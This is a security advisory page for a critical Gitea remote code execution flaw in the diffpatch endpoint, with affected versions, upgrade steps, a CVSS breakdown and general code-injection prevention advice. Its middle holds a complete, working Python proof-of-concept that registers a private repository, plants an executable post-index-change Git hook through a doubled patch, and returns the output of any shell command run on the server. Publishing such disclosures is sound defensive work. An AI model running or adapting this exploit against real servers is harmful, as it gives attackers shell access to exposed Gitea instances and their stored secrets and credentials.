GHSA-rcr6-4jqh-j84m BIT-gitea-2026-60004 CVE-2026-60004 GO-2026-6433
Gitea: Remote Code Execution via diffpatch Git Hook Installation
- Severity
- 9.8 / 10
- Critical · CVSS 3.1
- Exploit chance (EPSS)
- 23.99%
- Chance of exploitation in the next 30 days. Higher than 97.84% of scored vulnerabilities.
- Known exploited
- Yes
- In CISA's catalog since Aug 25, 2026
- Weakness
- CWE-94 Improper Control of Generation of Code ('Code Injection')
- Fix
1.27.1- Upgrade gitea.dev to this version or later
Description
Summary
Gitea's diffpatch endpoint can be abused to install and execute a Git hook from repository-controlled content.
An attacker with ordinary write access to a repository can execute arbitrary shell commands as the Gitea OS user. With default open registration, an unauthenticated visitor can obtain the required write access by registering an account and creating a repository.
Details
services/repository/files/patch.go applies attacker-controlled patches in a shared bare temporary clone:
cmdApply := gitcmd.NewCommand("apply", "--index", "--recount", "--cached", "--binary")
if git.DefaultFeatures().CheckVersionAtLeast("2.32") {
cmdApply.AddArguments("-3")
}
Submitting the same patch twice creates an add/add collision. Git's three-way fallback checks the indexed path out even though the operation is performed with --cached.
In a bare clone, the repository root is $GIT_DIR. As a result, an executable entry named:
hooks/post-index-change
becomes a live Git hook.
Git invokes the hook while writing the index, allowing repository-controlled content to execute arbitrary commands as the Gitea service account.
The hook's return value is not propagated to the diffpatch response.
The attached PoC stores command output in Git objects and creates a branch containing the result, so no outbound connection is required. The result is fetched through authenticated smart HTTP.
PoC
The supplied gitea_diffpatch_rce_poc.py uses an existing Gitea account. Run it against a test instance where the account can create a repository.
Set the account password:
export GITEA_PASSWORD='account-password'
Execute a command through the diffpatch chain:
python3 ./gitea_diffpatch_rce_poc.py \
https://gitea.example \
pocuser \
'id; uname -srm; pwd'
The script:
- Creates an initialized private repository.
- Submits the same executable-hook patch twice.
- Fetches the result branch.
- Prints the command's combined stdout, stderr, and exit status.
- Prints the evidence repository, ref, and commit IDs to stderr.
Expected output resembles:
uid=1000(git) gid=1000(git) groups=1000(git)
Linux ...
/data/gitea/tmp/...
[exit-status=0]
The trigger requires:
- Git 2.32 or newer.
- An enabled
diffpatchroute. - A writable and executable temporary filesystem.
Open registration is required only for the no-prior-credentials attack path.
Impact
This is remote command execution as the Gitea service account (CWE-94).
Depending on deployment isolation and the privileges of the Gitea OS user, successful exploitation may expose:
app.iniand Gitea application secrets.- Process environment secrets.
- Mounted repositories.
- Database credentials and database contents.
- OAuth and integration credentials.
- Other internal or externally reachable services.
With open registration enabled, the attack can be performed by an unauthenticated visitor after registering a normal account and creating a repository.
<img width="928" height="687" alt="Screenshot 2026-07-25 at 14 45 44" src="https://github.com/user-attachments/assets/e7ce9fe7-bcab-4539-82fc-14c3856bda1c" />
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Gitea RCE PoC – authorized testing only.
"""
from __future__ import annotations
import argparse
import base64
import getpass
import hashlib
import json
import os
from pathlib import Path
import secrets
import shlex
import shutil
import subprocess
import sys
import tempfile
from typing import Any
import urllib.error
import urllib.parse
import urllib.request
TIMEOUT = 30.0
USER_AGENT = "gitea-rce-poc/2.0"
_RST = "\033[0m"
_DIM = "\033[2m"
_GRN = "\033[38;5;46m" # bright green
_RED = "\033[31m" # red for errors
def _g(t: str) -> str: return f"{_GRN}{t}{_RST}"
def _r(t: str) -> str: return f"{_RED}{t}{_RST}"
def _d(t: str) -> str: return f"{_DIM}{t}{_RST}"
def log_star(msg: str) -> None: print(f"{_g('[*]')} {_d(msg)}")
def log_ok (msg: str) -> None: print(f"{_g('[+]')} {_g(msg)}")
def log_err (msg: str) -> None: print(f"{_r('[-]')} {_r(msg)}")
_SEP = " " + "═" * 44
BANNER = f"{_SEP}\n GITEA REMOTE CODE EXECUTION POC\n{_SEP}"
def print_banner(url: str, version: str | None = None,
command: str | None = None) -> None:
print()
for line in BANNER.splitlines():
print(_g(line))
print()
ver = version or "unknown"
print(_g(" " + "-" * 54))
print(_g(f" Target : {url}"))
print(_g(f" Version : {ver}"))
if command:
print(_g(f" Command : {command}"))
print(_g(" " + "-" * 54))
print()
class PocError(RuntimeError):
pass
class GiteaClient:
def __init__(self, base_url: str, username: str, password: str) -> None:
parsed = urllib.parse.urlsplit(base_url)
if parsed.scheme not in {"http", "https"} or not parsed.netloc:
raise PocError("URL must be an absolute http:// or https:// URL")
if parsed.query or parsed.fragment:
raise PocError("URL must not contain a query string or fragment")
self.base_url = base_url.rstrip("/")
self.username = username
self.password = password
encoded = base64.b64encode(
f"{username}:{password}".encode()
).decode("ascii")
self.authorization = f"Basic {encoded}"
def api(
self,
method: str,
path: str,
payload: dict[str, Any] | None = None,
) -> tuple[int, Any]:
data = None
if payload is not None:
data = json.dumps(payload, separators=(",", ":")).encode()
req = urllib.request.Request(
self.base_url + path,
data=data,
method=method,
headers={
"Accept": "application/json",
"Authorization": self.authorization,
"Content-Type": "application/json",
"User-Agent": USER_AGENT,
},
)
try:
with urllib.request.urlopen(req, timeout=TIMEOUT) as r:
raw = r.read()
return r.status, json.loads(raw) if raw else None
except urllib.error.HTTPError as exc:
body = exc.read().decode("utf-8", errors="replace")[:2_000]
raise PocError(f"{method} {path} → HTTP {exc.code}: {body}") from exc
except urllib.error.URLError as exc:
raise PocError(f"{method} {path} failed: {exc.reason}") from exc
except json.JSONDecodeError:
raise PocError(f"{method} {path} returned invalid JSON")
def blob_oid(content: bytes) -> str:
return hashlib.sha1(
f"blob {len(content)}\0".encode("ascii") + content
).hexdigest()
def build_hook(command: str, leak_ref: str) -> bytes:
qcmd = shlex.quote(command)
qref = shlex.quote(f"refs/heads/{leak_ref}")
return (
"#!/bin/sh\n"
'git_dir=$(git rev-parse --absolute-git-dir) || exit 1\n'
'origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2\n'
'case "$origin_objects" in\n'
' /*) ;;\n'
' *) origin_objects="$git_dir/objects/$origin_objects" ;;\n'
"esac\n"
'origin_git=${origin_objects%/objects}\n'
'[ "$origin_git" != "$origin_objects" ] || exit 3\n'
f"output_blob=$({{ /bin/sh -c {qcmd}; "
'command_status=$?; printf "\\n[exit-status=%s]\\n" "$command_status"; } 2>&1 | '
'git --git-dir="$origin_git" hash-object -w --stdin) || exit 4\n'
'tree=$(printf "100644 blob %s\\toutput\\n" "$output_blob" | '
'git --git-dir="$origin_git" mktree) || exit 5\n'
'commit=$(printf "command output\\n" | '
"GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid "
"GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid "
'git --git-dir="$origin_git" commit-tree "$tree") || exit 6\n'
f'git --git-dir="$origin_git" update-ref {qref} "$commit" || exit 7\n'
"exit 0\n"
).encode()
def build_patch(hook: bytes) -> str:
lc = hook.count(b"\n")
hdr = (
"diff --git a/hooks/post-index-change b/hooks/post-index-change\n"
"new file mode 100755\n"
f"index {'0'*40}..{blob_oid(hook)}\n"
"--- /dev/null\n"
"+++ b/hooks/post-index-change\n"
f"@@ -0,0 +1,{lc} @@\n"
).encode()
return (hdr + b"".join(b"+" + l for l in hook.splitlines(keepends=True))).decode()
def run_git(git: str, arguments: list[str], env: dict[str, str]) -> bytes:
try:
result = subprocess.run(
[git, *arguments], env=env,
stdin=subprocess.DEVNULL,
stdout=subprocess.PIPE, stderr=subprocess.PIPE,
check=False, timeout=TIMEOUT,
)
except subprocess.TimeoutExpired as exc:
raise PocError(f"git timed out after {TIMEOUT:g}s") from exc
except OSError as exc:
raise PocError(f"could not run git: {exc}") from exc
if result.returncode != 0:
err = result.stderr.decode("utf-8", errors="replace")[:2_000].strip()
raise PocError(f"git exit {result.returncode}: {err}")
return result.stdout
def fetch_output(git: str, client: GiteaClient,
owner: str, repo: str, leak_ref: str) -> bytes:
remote = (
f"{client.base_url}/"
f"{urllib.parse.quote(owner, safe='')}/"
f"{urllib.parse.quote(repo, safe='')}.git"
)
with tempfile.TemporaryDirectory(prefix="gitea-poc-") as tmp:
bare = Path(tmp) / "fetch.git"
auth_cfg = Path(tmp) / "auth.config"
fd = os.open(auth_cfg, os.O_WRONLY | os.O_CREAT | os.O_EXCL, 0o600)
with os.fdopen(fd, "w", encoding="utf-8") as f:
f.write(f"[http]\n\textraHeader = Authorization: {client.authorization}\n")
env = {**os.environ, "GIT_TERMINAL_PROMPT": "0"}
run_git(git, ["init", "--bare", "--quiet", str(bare)], env)
run_git(git, [
"-C", str(bare), "-c", f"include.path={auth_cfg}",
"fetch", "--quiet", "--no-tags",
remote, f"refs/heads/{leak_ref}",
], env)
return run_git(git, ["-C", str(bare), "show", "FETCH_HEAD:output"], env)
def split_output(raw: bytes) -> tuple[str, int | None]:
text = raw.decode("utf-8", errors="replace")
lines = text.splitlines()
status: int | None = None
if lines:
t = lines[-1].strip()
if t.startswith("[exit-status=") and t.endswith("]"):
try: status = int(t[len("[exit-status="):-1])
except ValueError: pass
else: lines.pop()
return "\n".join(lines).rstrip("\n"), status
def parse_args() -> argparse.Namespace:
p = argparse.ArgumentParser(description="Gitea RCE PoC")
p.add_argument("url", help="Gitea base URL")
p.add_argument("username", help="existing Gitea username")
p.add_argument("command", help="shell command to execute on target")
return p.parse_args()
def main() -> int:
args = parse_args()
if "\0" in args.command:
raise PocError("command must not contain a NUL character")
password = os.environ.get("GITEA_PASSWORD") or getpass.getpass(
_g("[?]") + " password: "
)
if not password:
raise PocError("password must not be empty")
git = shutil.which("git")
if git is None:
raise PocError("git executable not found in PATH")
client = GiteaClient(args.url, args.username, password)
# version probe (pre-banner)
log_star("probing target...")
version: str | None = None
try:
r = urllib.request.Request(
client.base_url + "/api/v1/version",
headers={"Accept": "application/json", "User-Agent": USER_AGENT},
)
with urllib.request.urlopen(r, timeout=TIMEOUT) as resp:
version = json.loads(resp.read()).get("version", "unknown")
except Exception:
version = "unknown"
print_banner(client.base_url, version, args.command)
log_star(f"target={client.base_url} user={args.username} cmd={args.command}")
print()
# step 1 – authenticate
log_star("authenticating...")
sc, acct = client.api("GET", "/api/v1/user")
if sc != 200 or not isinstance(acct, dict):
log_err("authentication failed"); raise PocError("auth failed")
owner = acct.get("login")
if not isinstance(owner, str) or not owner:
log_err("no login in response"); raise PocError("no login")
log_ok(f"logged in as {owner} ({version})")
# step 2 – create repo
unique = secrets.token_hex(5)
repo = f"test-repo-{unique}"
leak_ref = f"output-{unique}"
log_star("creating repository...")
sc, _ = client.api("POST", "/api/v1/user/repos", {
"name": repo, "private": True,
"auto_init": True, "default_branch": "main",
"object_format_name": "sha1",
})
if sc != 201:
log_err("repo creation failed"); raise PocError("repo creation failed")
log_ok(f"created repo {owner}/{repo}")
# steps 3–4 – deliver payloads
body = {
"content": build_patch(build_hook(args.command, leak_ref)),
"message": "initial commit",
"branch": "main", "new_branch": "main",
}
ep = (
f"/api/v1/repos/{urllib.parse.quote(owner, safe='')}/"
f"{urllib.parse.quote(repo, safe='')}/diffpatch"
)
commits: list[str] = []
for cycle in (1, 2):
log_star(f"delivering payload {cycle}/2...")
sc, resp = client.api("POST", ep, body)
try:
commit = resp["commit"]["sha"]
except (KeyError, TypeError) as exc:
log_err(f"payload {cycle}/2 rejected")
raise PocError(f"cycle {cycle} no commit") from exc
if sc != 201:
log_err(f"payload {cycle}/2 failed")
raise PocError(f"cycle {cycle} failed")
commits.append(commit)
log_ok(f"payload {cycle}/2 accepted commit={commit[:16]}")
# step 5 – retrieve output
log_star("retrieving output...")
output = fetch_output(git, client, owner, repo, leak_ref)
log_ok("operation complete")
# command output
cmd_out, exit_status = split_output(output)
print()
log_ok(f"{args.command}:")
print(_g("---"))
if cmd_out:
for line in cmd_out.splitlines():
print(_g(line))
else:
print(_d("<no output>"))
print(_g("---"))
if exit_status == 0:
log_ok(f"exit status: {exit_status}")
elif exit_status is None:
log_star("exit status: unknown")
else:
log_err(f"exit status: {exit_status}")
return 0
if __name__ == "__main__":
try:
raise SystemExit(main())
except PocError as exc:
log_err(str(exc))
raise SystemExit(1) from None
Affected versions
Go
| Package | Vulnerable | Fixed in |
|---|---|---|
| code.gitea.io/gitea | >= 1.17.0 |
No fix yet |
| gitea.dev | >= 1.17.0, < 1.27.1 |
1.27.1 |
| gitea.dev | >= 1.17.0, < 1.27.1 |
1.27.1 |
| gitea.dev | < 1.27.1 |
1.27.1 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
gitea.dev Go → 1.27.1
- go
go get gitea.dev@v1.27.1 && go mod tidy
Severity breakdown
CVSS 3.1 9.8
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Weakness
CWE-94: Improper Control of Generation of Code ('Code Injection')
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
How to prevent it
- Architecture and Design: Refactor your program so that you do not have to dynamically generate code.
- Architecture and Design: Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product. Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
- Testing: Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
- Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
- Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
- Implementation: For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
References
Advisories
Fixes and patches
Packages
Other links
Timeline
- Added to CISA's Known Exploited Vulnerabilities catalog
- Published
- Remediation due for U.S. federal agencies
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-fq2p-5p22-8g6j Gitea: Public-Only Personal access tokens scope bypass in Organization and Permission Endpoints | Medium | Also affects code.gitea.io/gitea |
| GHSA-2wm4-vwp6-v7xc Gitea: SSRF via Migration Asset Downloads Bypasses hostmatcher — Reads Internal Files and Cloud Metadata | High | Also affects code.gitea.io/gitea |
| GHSA-3r5c-2xxx-h872 Gitea: Webhook Authorization Header Returned in Plaintext via API | Low | Also affects code.gitea.io/gitea |
| GHSA-frpw-3h2q-4jj6 Gitea: Cross-Repo Information Disclosure via Org-Level Actions Run/Job APIs | Medium | Also affects code.gitea.io/gitea |
| GHSA-q423-49rw-g9mh Gitea: GHSA-8fwc-qjw5-rvgp ClearRepoWatches fix not applied to API EditRepo path — sister code path retains stale watches on public->private | Medium | Also affects code.gitea.io/gitea |
| GHSA-h56g-4qw7-2mxg Gitea: Public-only API token restriction is not enforced on team API routes | Medium | Also affects gitea.dev |
| GHSA-prr9-9mp4-5gp2 Gitea: Private org member list leaked via /members API endpoint — incomplete fix for PR #38145 | High | Also affects gitea.dev |
| GHSA-2fcr-jfvc-vgg2 Gitea: Two SSRF findings | High | Also affects code.gitea.io/gitea |
Credits: NightRang3r
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor